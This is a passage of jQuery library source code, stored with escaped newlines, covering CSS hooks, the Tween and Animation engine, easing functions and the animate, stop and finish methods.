ret;\n\t\t\t}\n\n\t\t\t// Otherwise just get the value from the style object\n\t\t\treturn style[ name ];\n\t\t}\n\t},\n\n\tcss: function( elem, name, extra, styles ) {\n\t\tvar num, val, hooks,\n\t\t\torigName = jQuery.camelCase( name );\n\n\t\t// Make sure that we're working with the right name\n\t\tname = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( elem.style, origName ) );\n\n\t\t// gets hook for the prefixed version\n\t\t// followed by the unprefixed version\n\t\thooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];\n\n\t\t// If a hook was provided get the computed value from there\n\t\tif ( hooks && \"get\" in hooks ) {\n\t\t\tval = hooks.get( elem, true, extra );\n\t\t}\n\n\t\t// Otherwise, if a way to get the computed value exists, use that\n\t\tif ( val === undefined ) {\n\t\t\tval = curCSS( elem, name, styles );\n\t\t}\n\n\t\t//convert \"normal\" to computed value\n\t\tif ( val === \"normal\" && name in cssNormalTransform ) {\n\t\t\tval = cssNormalTransform[ name ];\n\t\t}\n\n\t\t// Return, converting to number if forced or a qualifier was provided and val looks numeric\n\t\tif ( extra === \"\" || extra ) {\n\t\t\tnum = parseFloat( val );\n\t\t\treturn extra === true || jQuery.isNumeric( num ) ? num || 0 : val;\n\t\t}\n\t\treturn val;\n\t}\n});\n\njQuery.each([ \"height\", \"width\" ], function( i, name ) {\n\tjQuery.cssHooks[ name ] = {\n\t\tget: function( elem, computed, extra ) {\n\t\t\tif ( computed ) {\n\t\t\t\t// certain elements can have dimension info if we invisibly show them\n\t\t\t\t// however, it must have a current display style that would benefit from this\n\t\t\t\treturn elem.offsetWidth === 0 && rdisplayswap.test( jQuery.css( elem, \"display\" ) ) ?\n\t\t\t\t\tjQuery.swap( elem, cssShow, function() {\n\t\t\t\t\t\treturn getWidthOrHeight( elem, name, extra );\n\t\t\t\t\t}) :\n\t\t\t\t\tgetWidthOrHeight( elem, name, extra );\n\t\t\t}\n\t\t},\n\n\t\tset: function( elem, value, extra ) {\n\t\t\tvar styles = extra && getStyles( elem );\n\t\t\treturn setPositiveNumber( elem, value, extra ?\n\t\t\t\taugmentWidthOrHeight(\n\t\t\t\t\telem,\n\t\t\t\t\tname,\n\t\t\t\t\textra,\n\t\t\t\t\tsupport.boxSizing() && jQuery.css( elem, \"boxSizing\", false, styles ) === \"border-box\",\n\t\t\t\t\tstyles\n\t\t\t\t) : 0\n\t\t\t);\n\t\t}\n\t};\n});\n\nif ( !support.opacity ) {\n\tjQuery.cssHooks.opacity = {\n\t\tget: function( elem, computed ) {\n\t\t\t// IE uses filters for opacity\n\t\t\treturn ropacity.test( (computed && elem.currentStyle ? elem.currentStyle.filter : elem.style.filter) || \"\" ) ?\n\t\t\t\t( 0.01 * parseFloat( RegExp.$1 ) ) + \"\" :\n\t\t\t\tcomputed ? \"1\" : \"\";\n\t\t},\n\n\t\tset: function( elem, value ) {\n\t\t\tvar style = elem.style,\n\t\t\t\tcurrentStyle = elem.currentStyle,\n\t\t\t\topacity = jQuery.isNumeric( value ) ? \"alpha(opacity=\" + value * 100 + \")\" : \"\",\n\t\t\t\tfilter = currentStyle && currentStyle.filter || style.filter || \"\";\n\n\t\t\t// IE has trouble with opacity if it does not have layout\n\t\t\t// Force it by setting the zoom level\n\t\t\tstyle.zoom = 1;\n\n\t\t\t// if setting opacity to 1, and no other filters exist - attempt to remove filter attribute #6652\n\t\t\t// if value === \"\", then remove inline opacity #12685\n\t\t\tif ( ( value >= 1 || value === \"\" ) &&\n\t\t\t\t\tjQuery.trim( filter.replace( ralpha, \"\" ) ) === \"\" &&\n\t\t\t\t\tstyle.removeAttribute ) {\n\n\t\t\t\t// Setting style.filter to null, \"\" & \" \" still leave \"filter:\" in the cssText\n\t\t\t\t// if \"filter:\" is present at all, clearType is disabled, we want to avoid this\n\t\t\t\t// style.removeAttribute is IE Only, but so apparently is this code path...\n\t\t\t\tstyle.removeAttribute( \"filter\" );\n\n\t\t\t\t// if there is no filter style applied in a css rule or unset inline opacity, we are done\n\t\t\t\tif ( value === \"\" || currentStyle && !currentStyle.filter ) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// otherwise, set new filter values\n\t\t\tstyle.filter = ralpha.test( filter ) ?\n\t\t\t\tfilter.replace( ralpha, opacity ) :\n\t\t\t\tfilter + \" \" + opacity;\n\t\t}\n\t};\n}\n\njQuery.cssHooks.marginRight = addGetHookIf( support.reliableMarginRight,\n\tfunction( elem, computed ) {\n\t\tif ( computed ) {\n\t\t\t// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right\n\t\t\t// Work around by temporarily setting element display to inline-block\n\t\t\treturn jQuery.swap( elem, { \"display\": \"inline-block\" },\n\t\t\t\tcurCSS, [ elem, \"marginRight\" ] );\n\t\t}\n\t}\n);\n\n// These hooks are used by animate to expand properties\njQuery.each({\n\tmargin: \"\",\n\tpadding: \"\",\n\tborder: \"Width\"\n}, function( prefix, suffix ) {\n\tjQuery.cssHooks[ prefix + suffix ] = {\n\t\texpand: function( value ) {\n\t\t\tvar i = 0,\n\t\t\t\texpanded = {},\n\n\t\t\t\t// assumes a single number if not a string\n\t\t\t\tparts = typeof value === \"string\" ? value.split(\" \") : [ value ];\n\n\t\t\tfor ( ; i < 4; i++ ) {\n\t\t\t\texpanded[ prefix + cssExpand[ i ] + suffix ] =\n\t\t\t\t\tparts[ i ] || parts[ i - 2 ] || parts[ 0 ];\n\t\t\t}\n\n\t\t\treturn expanded;\n\t\t}\n\t};\n\n\tif ( !rmargin.test( prefix ) ) {\n\t\tjQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber;\n\t}\n});\n\njQuery.fn.extend({\n\tcss: function( name, value ) {\n\t\treturn access( this, function( elem, name, value ) {\n\t\t\tvar styles, len,\n\t\t\t\tmap = {},\n\t\t\t\ti = 0;\n\n\t\t\tif ( jQuery.isArray( name ) ) {\n\t\t\t\tstyles = getStyles( elem );\n\t\t\t\tlen = name.length;\n\n\t\t\t\tfor ( ; i < len; i++ ) {\n\t\t\t\t\tmap[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles );\n\t\t\t\t}\n\n\t\t\t\treturn map;\n\t\t\t}\n\n\t\t\treturn value !== undefined ?\n\t\t\t\tjQuery.style( elem, name, value ) :\n\t\t\t\tjQuery.css( elem, name );\n\t\t}, name, value, arguments.length > 1 );\n\t},\n\tshow: function() {\n\t\treturn showHide( this, true );\n\t},\n\thide: function() {\n\t\treturn showHide( this );\n\t},\n\ttoggle: function( state ) {\n\t\tif ( typeof state === \"boolean\" ) {\n\t\t\treturn state ? this.show() : this.hide();\n\t\t}\n\n\t\treturn this.each(function() {\n\t\t\tif ( isHidden( this ) ) {\n\t\t\t\tjQuery( this ).show();\n\t\t\t} else {\n\t\t\t\tjQuery( this ).hide();\n\t\t\t}\n\t\t});\n\t}\n});\n\n\nfunction Tween( elem, options, prop, end, easing ) {\n\treturn new Tween.prototype.init( elem, options, prop, end, easing );\n}\njQuery.Tween = Tween;\n\nTween.prototype = {\n\tconstructor: Tween,\n\tinit: function( elem, options, prop, end, easing, unit ) {\n\t\tthis.elem = elem;\n\t\tthis.prop = prop;\n\t\tthis.easing = easing || \"swing\";\n\t\tthis.options = options;\n\t\tthis.start = this.now = this.cur();\n\t\tthis.end = end;\n\t\tthis.unit = unit || ( jQuery.cssNumber[ prop ] ? \"\" : \"px\" );\n\t},\n\tcur: function() {\n\t\tvar hooks = Tween.propHooks[ this.prop ];\n\n\t\treturn hooks && hooks.get ?\n\t\t\thooks.get( this ) :\n\t\t\tTween.propHooks._default.get( this );\n\t},\n\trun: function( percent ) {\n\t\tvar eased,\n\t\t\thooks = Tween.propHooks[ this.prop ];\n\n\t\tif ( this.options.duration ) {\n\t\t\tthis.pos = eased = jQuery.easing[ this.easing ](\n\t\t\t\tpercent, this.options.duration * percent, 0, 1, this.options.duration\n\t\t\t);\n\t\t} else {\n\t\t\tthis.pos = eased = percent;\n\t\t}\n\t\tthis.now = ( this.end - this.start ) * eased + this.start;\n\n\t\tif ( this.options.step ) {\n\t\t\tthis.options.step.call( this.elem, this.now, this );\n\t\t}\n\n\t\tif ( hooks && hooks.set ) {\n\t\t\thooks.set( this );\n\t\t} else {\n\t\t\tTween.propHooks._default.set( this );\n\t\t}\n\t\treturn this;\n\t}\n};\n\nTween.prototype.init.prototype = Tween.prototype;\n\nTween.propHooks = {\n\t_default: {\n\t\tget: function( tween ) {\n\t\t\tvar result;\n\n\t\t\tif ( tween.elem[ tween.prop ] != null &&\n\t\t\t\t(!tween.elem.style || tween.elem.style[ tween.prop ] == null) ) {\n\t\t\t\treturn tween.elem[ tween.prop ];\n\t\t\t}\n\n\t\t\t// passing an empty string as a 3rd parameter to .css will automatically\n\t\t\t// attempt a parseFloat and fallback to a string if the parse fails\n\t\t\t// so, simple values such as \"10px\" are parsed to Float.\n\t\t\t// complex values such as \"rotate(1rad)\" are returned as is.\n\t\t\tresult = jQuery.css( tween.elem, tween.prop, \"\" );\n\t\t\t// Empty strings, null, undefined and \"auto\" are converted to 0.\n\t\t\treturn !result || result === \"auto\" ? 0 : result;\n\t\t},\n\t\tset: function( tween ) {\n\t\t\t// use step hook for back compat - use cssHook if its there - use .style if its\n\t\t\t// available and use plain properties where available\n\t\t\tif ( jQuery.fx.step[ tween.prop ] ) {\n\t\t\t\tjQuery.fx.step[ tween.prop ]( tween );\n\t\t\t} else if ( tween.elem.style && ( tween.elem.style[ jQuery.cssProps[ tween.prop ] ] != null || jQuery.cssHooks[ tween.prop ] ) ) {\n\t\t\t\tjQuery.style( tween.elem, tween.prop, tween.now + tween.unit );\n\t\t\t} else {\n\t\t\t\ttween.elem[ tween.prop ] = tween.now;\n\t\t\t}\n\t\t}\n\t}\n};\n\n// Support: IE <=9\n// Panic based approach to setting things on disconnected nodes\n\nTween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {\n\tset: function( tween ) {\n\t\tif ( tween.elem.nodeType && tween.elem.parentNode ) {\n\t\t\ttween.elem[ tween.prop ] = tween.now;\n\t\t}\n\t}\n};\n\njQuery.easing = {\n\tlinear: function( p ) {\n\t\treturn p;\n\t},\n\tswing: function( p ) {\n\t\treturn 0.5 - Math.cos( p * Math.PI ) / 2;\n\t}\n};\n\njQuery.fx = Tween.prototype.init;\n\n// Back Compat <1.8 extension point\njQuery.fx.step = {};\n\n\n\n\nvar\n\tfxNow, timerId,\n\trfxtypes = /^(?:toggle|show|hide)$/,\n\trfxnum = new RegExp( \"^(?:([+-])=|)(\" + pnum + \")([a-z%]*)$\", \"i\" ),\n\trrun = /queueHooks$/,\n\tanimationPrefilters = [ defaultPrefilter ],\n\ttweeners = {\n\t\t\"*\": [ function( prop, value ) {\n\t\t\tvar tween = this.createTween( prop, value ),\n\t\t\t\ttarget = tween.cur(),\n\t\t\t\tparts = rfxnum.exec( value ),\n\t\t\t\tunit = parts && parts[ 3 ] || ( jQuery.cssNumber[ prop ] ? \"\" : \"px\" ),\n\n\t\t\t\t// Starting value computation is required for potential unit mismatches\n\t\t\t\tstart = ( jQuery.cssNumber[ prop ] || unit !== \"px\" && +target ) &&\n\t\t\t\t\trfxnum.exec( jQuery.css( tween.elem, prop ) ),\n\t\t\t\tscale = 1,\n\t\t\t\tmaxIterations = 20;\n\n\t\t\tif ( start && start[ 3 ] !== unit ) {\n\t\t\t\t// Trust units reported by jQuery.css\n\t\t\t\tunit = unit || start[ 3 ];\n\n\t\t\t\t// Make sure we update the tween properties later on\n\t\t\t\tparts = parts || [];\n\n\t\t\t\t// Iteratively approximate from a nonzero starting point\n\t\t\t\tstart = +target || 1;\n\n\t\t\t\tdo {\n\t\t\t\t\t// If previous iteration zeroed out, double until we get *something*\n\t\t\t\t\t// Use a string for doubling factor so we don't accidentally see scale as unchanged below\n\t\t\t\t\tscale = scale || \".5\";\n\n\t\t\t\t\t// Adjust and apply\n\t\t\t\t\tstart = start / scale;\n\t\t\t\t\tjQuery.style( tween.elem, prop, start + unit );\n\n\t\t\t\t// Update scale, tolerating zero or NaN from tween.cur()\n\t\t\t\t// And breaking the loop if scale is unchanged or perfect, or if we've just had enough\n\t\t\t\t} while ( scale !== (scale = tween.cur() / target) && scale !== 1 && --maxIterations );\n\t\t\t}\n\n\t\t\t// Update tween properties\n\t\t\tif ( parts ) {\n\t\t\t\tstart = tween.start = +start || +target || 0;\n\t\t\t\ttween.unit = unit;\n\t\t\t\t// If a +=/-= token was provided, we're doing a relative animation\n\t\t\t\ttween.end = parts[ 1 ] ?\n\t\t\t\t\tstart + ( parts[ 1 ] + 1 ) * parts[ 2 ] :\n\t\t\t\t\t+parts[ 2 ];\n\t\t\t}\n\n\t\t\treturn tween;\n\t\t} ]\n\t};\n\n// Animations created synchronously will run synchronously\nfunction createFxNow() {\n\tsetTimeout(function() {\n\t\tfxNow = undefined;\n\t});\n\treturn ( fxNow = jQuery.now() );\n}\n\n// Generate parameters to create a standard animation\nfunction genFx( type, includeWidth ) {\n\tvar which,\n\t\tattrs = { height: type },\n\t\ti = 0;\n\n\t// if we include width, step value is 1 to do all cssExpand values,\n\t// if we don't include width, step value is 2 to skip over Left and Right\n\tincludeWidth = includeWidth ? 1 : 0;\n\tfor ( ; i < 4 ; i += 2 - includeWidth ) {\n\t\twhich = cssExpand[ i ];\n\t\tattrs[ \"margin\" + which ] = attrs[ \"padding\" + which ] = type;\n\t}\n\n\tif ( includeWidth ) {\n\t\tattrs.opacity = attrs.width = type;\n\t}\n\n\treturn attrs;\n}\n\nfunction createTween( value, prop, animation ) {\n\tvar tween,\n\t\tcollection = ( tweeners[ prop ] || [] ).concat( tweeners[ \"*\" ] ),\n\t\tindex = 0,\n\t\tlength = collection.length;\n\tfor ( ; index < length; index++ ) {\n\t\tif ( (tween = collection[ index ].call( animation, prop, value )) ) {\n\n\t\t\t// we're done with this property\n\t\t\treturn tween;\n\t\t}\n\t}\n}\n\nfunction defaultPrefilter( elem, props, opts ) {\n\t/* jshint validthis: true */\n\tvar prop, value, toggle, tween, hooks, oldfire, display, dDisplay,\n\t\tanim = this,\n\t\torig = {},\n\t\tstyle = elem.style,\n\t\thidden = elem.nodeType && isHidden( elem ),\n\t\tdataShow = jQuery._data( elem, \"fxshow\" );\n\n\t// handle queue: false promises\n\tif ( !opts.queue ) {\n\t\thooks = jQuery._queueHooks( elem, \"fx\" );\n\t\tif ( hooks.unqueued == null ) {\n\t\t\thooks.unqueued = 0;\n\t\t\toldfire = hooks.empty.fire;\n\t\t\thooks.empty.fire = function() {\n\t\t\t\tif ( !hooks.unqueued ) {\n\t\t\t\t\toldfire();\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\t\thooks.unqueued++;\n\n\t\tanim.always(function() {\n\t\t\t// doing this makes sure that the complete handler will be called\n\t\t\t// before this completes\n\t\t\tanim.always(function() {\n\t\t\t\thooks.unqueued--;\n\t\t\t\tif ( !jQuery.queue( elem, \"fx\" ).length ) {\n\t\t\t\t\thooks.empty.fire();\n\t\t\t\t}\n\t\t\t});\n\t\t});\n\t}\n\n\t// height/width overflow pass\n\tif ( elem.nodeType === 1 && ( \"height\" in props || \"width\" in props ) ) {\n\t\t// Make sure that nothing sneaks out\n\t\t// Record all 3 overflow attributes because IE does not\n\t\t// change the overflow attribute when overflowX and\n\t\t// overflowY are set to the same value\n\t\topts.overflow = [ style.overflow, style.overflowX, style.overflowY ];\n\n\t\t// Set display property to inline-block for height/width\n\t\t// animations on inline elements that are having width/height animated\n\t\tdisplay = jQuery.css( elem, \"display\" );\n\t\tdDisplay = defaultDisplay( elem.nodeName );\n\t\tif ( display === \"none\" ) {\n\t\t\tdisplay = dDisplay;\n\t\t}\n\t\tif ( display === \"inline\" &&\n\t\t\t\tjQuery.css( elem, \"float\" ) === \"none\" ) {\n\n\t\t\t// inline-level elements accept inline-block;\n\t\t\t// block-level elements need to be inline with layout\n\t\t\tif ( !support.inlineBlockNeedsLayout || dDisplay === \"inline\" ) {\n\t\t\t\tstyle.display = \"inline-block\";\n\t\t\t} else {\n\t\t\t\tstyle.zoom = 1;\n\t\t\t}\n\t\t}\n\t}\n\n\tif ( opts.overflow ) {\n\t\tstyle.overflow = \"hidden\";\n\t\tif ( !support.shrinkWrapBlocks() ) {\n\t\t\tanim.always(function() {\n\t\t\t\tstyle.overflow = opts.overflow[ 0 ];\n\t\t\t\tstyle.overflowX = opts.overflow[ 1 ];\n\t\t\t\tstyle.overflowY = opts.overflow[ 2 ];\n\t\t\t});\n\t\t}\n\t}\n\n\t// show/hide pass\n\tfor ( prop in props ) {\n\t\tvalue = props[ prop ];\n\t\tif ( rfxtypes.exec( value ) ) {\n\t\t\tdelete props[ prop ];\n\t\t\ttoggle = toggle || value === \"toggle\";\n\t\t\tif ( value === ( hidden ? \"hide\" : \"show\" ) ) {\n\n\t\t\t\t// If there is dataShow left over from a stopped hide or show and we are going to proceed with show, we should pretend to be hidden\n\t\t\t\tif ( value === \"show\" && dataShow && dataShow[ prop ] !== undefined ) {\n\t\t\t\t\thidden = true;\n\t\t\t\t} else {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t\torig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop );\n\t\t}\n\t}\n\n\tif ( !jQuery.isEmptyObject( orig ) ) {\n\t\tif ( dataShow ) {\n\t\t\tif ( \"hidden\" in dataShow ) {\n\t\t\t\thidden = dataShow.hidden;\n\t\t\t}\n\t\t} else {\n\t\t\tdataShow = jQuery._data( elem, \"fxshow\", {} );\n\t\t}\n\n\t\t// store state if its toggle - enables .stop().toggle() to \"reverse\"\n\t\tif ( toggle ) {\n\t\t\tdataShow.hidden = !hidden;\n\t\t}\n\t\tif ( hidden ) {\n\t\t\tjQuery( elem ).show();\n\t\t} else {\n\t\t\tanim.done(function() {\n\t\t\t\tjQuery( elem ).hide();\n\t\t\t});\n\t\t}\n\t\tanim.done(function() {\n\t\t\tvar prop;\n\t\t\tjQuery._removeData( elem, \"fxshow\" );\n\t\t\tfor ( prop in orig ) {\n\t\t\t\tjQuery.style( elem, prop, orig[ prop ] );\n\t\t\t}\n\t\t});\n\t\tfor ( prop in orig ) {\n\t\t\ttween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim );\n\n\t\t\tif ( !( prop in dataShow ) ) {\n\t\t\t\tdataShow[ prop ] = tween.start;\n\t\t\t\tif ( hidden ) {\n\t\t\t\t\ttween.end = tween.start;\n\t\t\t\t\ttween.start = prop === \"width\" || prop === \"height\" ? 1 : 0;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunction propFilter( props, specialEasing ) {\n\tvar index, name, easing, value, hooks;\n\n\t// camelCase, specialEasing and expand cssHook pass\n\tfor ( index in props ) {\n\t\tname = jQuery.camelCase( index );\n\t\teasing = specialEasing[ name ];\n\t\tvalue = props[ index ];\n\t\tif ( jQuery.isArray( value ) ) {\n\t\t\teasing = value[ 1 ];\n\t\t\tvalue = props[ index ] = value[ 0 ];\n\t\t}\n\n\t\tif ( index !== name ) {\n\t\t\tprops[ name ] = value;\n\t\t\tdelete props[ index ];\n\t\t}\n\n\t\thooks = jQuery.cssHooks[ name ];\n\t\tif ( hooks && \"expand\" in hooks ) {\n\t\t\tvalue = hooks.expand( value );\n\t\t\tdelete props[ name ];\n\n\t\t\t// not quite $.extend, this wont overwrite keys already present.\n\t\t\t// also - reusing 'index' from above because we have the correct \"name\"\n\t\t\tfor ( index in value ) {\n\t\t\t\tif ( !( index in props ) ) {\n\t\t\t\t\tprops[ index ] = value[ index ];\n\t\t\t\t\tspecialEasing[ index ] = easing;\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tspecialEasing[ name ] = easing;\n\t\t}\n\t}\n}\n\nfunction Animation( elem, properties, options ) {\n\tvar result,\n\t\tstopped,\n\t\tindex = 0,\n\t\tlength = animationPrefilters.length,\n\t\tdeferred = jQuery.Deferred().always( function() {\n\t\t\t// don't match elem in the :animated selector\n\t\t\tdelete tick.elem;\n\t\t}),\n\t\ttick = function() {\n\t\t\tif ( stopped ) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tvar currentTime = fxNow || createFxNow(),\n\t\t\t\tremaining = Math.max( 0, animation.startTime + animation.duration - currentTime ),\n\t\t\t\t// archaic crash bug won't allow us to use 1 - ( 0.5 || 0 ) (#12497)\n\t\t\t\ttemp = remaining / animation.duration || 0,\n\t\t\t\tpercent = 1 - temp,\n\t\t\t\tindex = 0,\n\t\t\t\tlength = animation.tweens.length;\n\n\t\t\tfor ( ; index < length ; index++ ) {\n\t\t\t\tanimation.tweens[ index ].run( percent );\n\t\t\t}\n\n\t\t\tdeferred.notifyWith( elem, [ animation, percent, remaining ]);\n\n\t\t\tif ( percent < 1 && length ) {\n\t\t\t\treturn remaining;\n\t\t\t} else {\n\t\t\t\tdeferred.resolveWith( elem, [ animation ] );\n\t\t\t\treturn false;\n\t\t\t}\n\t\t},\n\t\tanimation = deferred.promise({\n\t\t\telem: elem,\n\t\t\tprops: jQuery.extend( {}, properties ),\n\t\t\topts: jQuery.extend( true, { specialEasing: {} }, options ),\n\t\t\toriginalProperties: properties,\n\t\t\toriginalOptions: options,\n\t\t\tstartTime: fxNow || createFxNow(),\n\t\t\tduration: options.duration,\n\t\t\ttweens: [],\n\t\t\tcreateTween: function( prop, end ) {\n\t\t\t\tvar tween = jQuery.Tween( elem, animation.opts, prop, end,\n\t\t\t\t\t\tanimation.opts.specialEasing[ prop ] || animation.opts.easing );\n\t\t\t\tanimation.tweens.push( tween );\n\t\t\t\treturn tween;\n\t\t\t},\n\t\t\tstop: function( gotoEnd ) {\n\t\t\t\tvar index = 0,\n\t\t\t\t\t// if we are going to the end, we want to run all the tweens\n\t\t\t\t\t// otherwise we skip this part\n\t\t\t\t\tlength = gotoEnd ? animation.tweens.length : 0;\n\t\t\t\tif ( stopped ) {\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\t\t\t\tstopped = true;\n\t\t\t\tfor ( ; index < length ; index++ ) {\n\t\t\t\t\tanimation.tweens[ index ].run( 1 );\n\t\t\t\t}\n\n\t\t\t\t// resolve when we played the last frame\n\t\t\t\t// otherwise, reject\n\t\t\t\tif ( gotoEnd ) {\n\t\t\t\t\tdeferred.resolveWith( elem, [ animation, gotoEnd ] );\n\t\t\t\t} else {\n\t\t\t\t\tdeferred.rejectWith( elem, [ animation, gotoEnd ] );\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t}\n\t\t}),\n\t\tprops = animation.props;\n\n\tpropFilter( props, animation.opts.specialEasing );\n\n\tfor ( ; index < length ; index++ ) {\n\t\tresult = animationPrefilters[ index ].call( animation, elem, props, animation.opts );\n\t\tif ( result ) {\n\t\t\treturn result;\n\t\t}\n\t}\n\n\tjQuery.map( props, createTween, animation );\n\n\tif ( jQuery.isFunction( animation.opts.start ) ) {\n\t\tanimation.opts.start.call( elem, animation );\n\t}\n\n\tjQuery.fx.timer(\n\t\tjQuery.extend( tick, {\n\t\t\telem: elem,\n\t\t\tanim: animation,\n\t\t\tqueue: animation.opts.queue\n\t\t})\n\t);\n\n\t// attach callbacks from options\n\treturn animation.progress( animation.opts.progress )\n\t\t.done( animation.opts.done, animation.opts.complete )\n\t\t.fail( animation.opts.fail )\n\t\t.always( animation.opts.always );\n}\n\njQuery.Animation = jQuery.extend( Animation, {\n\ttweener: function( props, callback ) {\n\t\tif ( jQuery.isFunction( props ) ) {\n\t\t\tcallback = props;\n\t\t\tprops = [ \"*\" ];\n\t\t} else {\n\t\t\tprops = props.split(\" \");\n\t\t}\n\n\t\tvar prop,\n\t\t\tindex = 0,\n\t\t\tlength = props.length;\n\n\t\tfor ( ; index < length ; index++ ) {\n\t\t\tprop = props[ index ];\n\t\t\ttweeners[ prop ] = tweeners[ prop ] || [];\n\t\t\ttweeners[ prop ].unshift( callback );\n\t\t}\n\t},\n\n\tprefilter: function( callback, prepend ) {\n\t\tif ( prepend ) {\n\t\t\tanimationPrefilters.unshift( callback );\n\t\t} else {\n\t\t\tanimationPrefilters.push( callback );\n\t\t}\n\t}\n});\n\njQuery.speed = function( speed, easing, fn ) {\n\tvar opt = speed && typeof speed === \"object\" ? jQuery.extend( {}, speed ) : {\n\t\tcomplete: fn || !fn && easing ||\n\t\t\tjQuery.isFunction( speed ) && speed,\n\t\tduration: speed,\n\t\teasing: fn && easing || easing && !jQuery.isFunction( easing ) && easing\n\t};\n\n\topt.duration = jQuery.fx.off ? 0 : typeof opt.duration === \"number\" ? opt.duration :\n\t\topt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[ opt.duration ] : jQuery.fx.speeds._default;\n\n\t// normalize opt.queue - true/undefined/null -> \"fx\"\n\tif ( opt.queue == null || opt.queue === true ) {\n\t\topt.queue = \"fx\";\n\t}\n\n\t// Queueing\n\topt.old = opt.complete;\n\n\topt.complete = function() {\n\t\tif ( jQuery.isFunction( opt.old ) ) {\n\t\t\topt.old.call( this );\n\t\t}\n\n\t\tif ( opt.queue ) {\n\t\t\tjQuery.dequeue( this, opt.queue );\n\t\t}\n\t};\n\n\treturn opt;\n};\n\njQuery.fn.extend({\n\tfadeTo: function( speed, to, easing, callback ) {\n\n\t\t// show any hidden elements after setting opacity to 0\n\t\treturn this.filter( isHidden ).css( \"opacity\", 0 ).show()\n\n\t\t\t// animate to the value specified\n\t\t\t.end().animate({ opacity: to }, speed, easing, callback );\n\t},\n\tanimate: function( prop, speed, easing, callback ) {\n\t\tvar empty = jQuery.isEmptyObject( prop ),\n\t\t\toptall = jQuery.speed( speed, easing, callback ),\n\t\t\tdoAnimation = function() {\n\t\t\t\t// Operate on a copy of prop so per-property easing won't be lost\n\t\t\t\tvar anim = Animation( this, jQuery.extend( {}, prop ), optall );\n\n\t\t\t\t// Empty animations, or finishing resolves immediately\n\t\t\t\tif ( empty || jQuery._data( this, \"finish\" ) ) {\n\t\t\t\t\tanim.stop( true );\n\t\t\t\t}\n\t\t\t};\n\t\t\tdoAnimation.finish = doAnimation;\n\n\t\treturn empty || optall.queue === false ?\n\t\t\tthis.each( doAnimation ) :\n\t\t\tthis.queue( optall.queue, doAnimation );\n\t},\n\tstop: function( type, clearQueue, gotoEnd ) {\n\t\tvar stopQueue = function( hooks ) {\n\t\t\tvar stop = hooks.stop;\n\t\t\tdelete hooks.stop;\n\t\t\tstop( gotoEnd );\n\t\t};\n\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tgotoEnd = clearQueue;\n\t\t\tclearQueue = type;\n\t\t\ttype = undefined;\n\t\t}\n\t\tif ( clearQueue && type !== false ) {\n\t\t\tthis.queue( type || \"fx\", [] );\n\t\t}\n\n\t\treturn this.each(function() {\n\t\t\tvar dequeue = true,\n\t\t\t\tindex = type != null && type + \"queueHooks\",\n\t\t\t\ttimers = jQuery.timers,\n\t\t\t\tdata = jQuery._data( this );\n\n\t\t\tif ( index ) {\n\t\t\t\tif ( data[ index ] && data[ index ].stop ) {\n\t\t\t\t\tstopQueue( data[ index ] );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( index in data ) {\n\t\t\t\t\tif ( data[ index ] && data[ index ].stop && rrun.test( index ) ) {\n\t\t\t\t\t\tstopQueue( data[ index ] );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor ( index = timers.length; index--; ) {\n\t\t\t\tif ( timers[ index ].elem === this && (type == null || timers[ index ].queue === type) ) {\n\t\t\t\t\ttimers[ index ].anim.stop( gotoEnd );\n\t\t\t\t\tdequeue = false;\n\t\t\t\t\ttimers.splice( index, 1 );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// start the next in the queue if the last step wasn't forced\n\t\t\t// timers currently will call their complete callbacks, which will dequeue\n\t\t\t// but only if they were gotoEnd\n\t\t\tif ( dequeue || !gotoEnd ) {\n\t\t\t\tjQuery.dequeue( this, type );\n\t\t\t}\n\t\t});\n\t},\n\tfinish: function( type ) {\n\t\tif ( type !== false ) {\n\t\t\ttype = type || \"fx\";\n\t\t}\n\t\treturn this.each(function() {\n\t\t\tvar index,\n\t\t\t\tdata = jQuery._data( this ),\n\t\t\t\tqueue = data[ type + \"queue\" ],\n\t\t\t\thooks = data[ type + \"queueHooks\" ],\n\t\t\t\ttimers = jQuery.timers,\n\t\t\t\tlength = queue ? queue.length : 0;\n\n\t\t\t// enable finishing flag on private data\n\t\t\tdata.finish = true;\n\n\t\t\t// empty the queue first\n\t\t\tjQuery.queue( this, type, [] );\n\n\t\t\tif ( hooks && hooks.stop ) {\n\t\t\t\thooks.stop.call( this, true );\n\t\t\t}\n\n\t\t\t// look for any active animations, and finish them\n\t\t\tfor ( index = timers.length; index--; ) {\n\t\t\t\tif ( timers[ index ].elem === this && timers[ index ].queue === type ) {\n\t\t\t\t\ttimers[ index ].anim.stop( true );\n\t\t\t\t\ttimers.splice( index, 1 );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// look for any animations in the old queue and finish them\n\t\t\tfor ( index = 0; index < length; index++ ) {\n\t\t\t\tif ( queue[ index ] && queue[ index ].finish ) {\n\t\t\t\t\tqueue[ index ].finish.call( this );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// turn off finishing flag\n\t\t\tdelete data.finish;\n\t\t});\n\t}\n});\n\njQuery.each([ \"toggle\", \"show\", \"hide\" ], function( i, name ) {\n\tvar cssFn = jQuery.fn[ name ];\n\tjQuery.fn[ name ] = function( speed, easing, callback ) {\n\t\treturn speed == null || typeof speed === \"boolean\" ?\n\t\t\tcssFn.apply( this, arguments ) :\n\t\t\tthis.animate( genFx( name, true ), speed, easing, callback );\n\t};\n});\n\n// Generate shortcuts for custom 